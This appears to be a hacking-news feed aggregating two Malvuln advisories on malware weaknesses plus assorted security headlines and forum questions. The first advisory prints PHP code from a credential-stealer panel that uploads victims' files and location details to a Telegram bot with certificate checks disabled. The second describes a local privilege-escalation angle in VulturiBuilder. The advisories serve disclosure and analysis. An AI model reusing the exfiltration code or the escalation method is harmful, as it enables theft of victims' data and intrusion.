Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Insecure Credential Storage

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CollectorStealerBuilder Panel 2.0.0 Man-In-The-Middle

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
The panel for Collector Stealer malware version 2.0.0 suffers from a man-in-the-middle vulnerability.

MD5 | 78d4972e4013313c7d6d598a0bb2c3dc

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/54530f88c8e4f4371c9418f00c256b1d_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data to "api.telegram.org/bot" has CURLOPT_SSL_VERIFYPEER set to false. CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Exploit/PoC:
Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: " . $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] . "\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "https://api.telegram.org/bot" . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" => $document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);
curl_close($ch);
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VulturiBuilder Insecure Permissions

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
VulturiBuilder malware suffers from an insecure permissions vulnerability.

MD5 | ae3e3340f93567f3bbe330d3e69b0088

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ca294b2f778abc14fef6313b3cea7155.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: VulturiBuilder
Vulnerability: Insecure Permissions
Description: The malware writes an .EXE with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: ca294b2f778abc14fef6313b3cea7155
Vuln ID: MVID-2022-0457
Disclosure: 01/19/2022
Exploit/PoC:
C:\>cacls hate.exe
C:\hate.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir hate.exe
Volume in drive C has no label.

Directory of C:\

01/11/2022 07:25 PM 298,496 hate.exe
1 File(s) 298,496 bytes
0 Dir(s) 27,531,624,448 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Steganography — Crack password protected message!

https://cdn-images-1.medium.com/max/1640/1*TME_UOT0Ysds2gmOI-N9nw.png
Welcome.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Types of Network Security Tools

https://cdn-images-1.medium.com/max/728/1*G1lmxAFrTTC0DL8AvA0FWw.jpeg
Hey Amazing Hackers, welcome back to my blogpost today I am going to cover about some sniffing tools and how hackers do use those tools…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How many user accounts were hacked on Crypto.com ?

https://cdn-images-1.medium.com/max/1280/0*B7d31V938DGDq8Ek.jpg
For once, it’s not decentralized finance (DeFi) that is the subject of a hack. After suspicions of hacks earlier this week, the…

Continue reading on CryptoStars »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Guía de medidas de ciberseguridad para protegerse contra amenazas críticas (CISA)

https://cdn-images-1.medium.com/max/1526/0*4SMMGm6zukV5cONW
PUBLICADO EN 20 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nueva vulnerabilidad en SolarWinds es utilizada para aprovechar fallas de Log4j

https://cdn-images-1.medium.com/max/1648/0*aiolXZ1-T1JZQJOL
PUBLICADO EN 20 ENERO, 2022 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Not Trying to break the rules

How to Hack a Strong Server Online Game

submitted by /u/UltimateNemsis
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Red Cross implores hackers not to leak data for 515k “highly vulnerable people”

https://external-preview.redd.it/Fnaz4JV-R5XOfP488gpy_JIgWOa3ABfdy9TBWxvSkhI.jpg?width=640&crop=smart&auto=webp&s=a896db2bacb85be92cbe956501167814c5c7c5f0 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to replace a file hash with a predefined value?

As the title states, I am looking to see if there is a method or ability to replace a file hash with a predefined value or a way to manually assign it a value? This is for exercise purposes, not for malicious intent. I have never thought about the concept, but was thinking about an idea for an exercise yesterday and figured it was worth looking into.

submitted by /u/DarkJediSkii
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Unlock windows XP pc without password

Hi, I currently have an old windows XP pc at home which I forgot the password and have no way of resetting it. It was a company computer given to my father with the company account on it. I would like to know if there would be a way to unlock it so I can get the family pictures stored on it. My other option would be to remove the hard drive and try to get the files in it by connecting it to another computer but I would prefer trying this option first

submitted by /u/INF_Phoenix
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video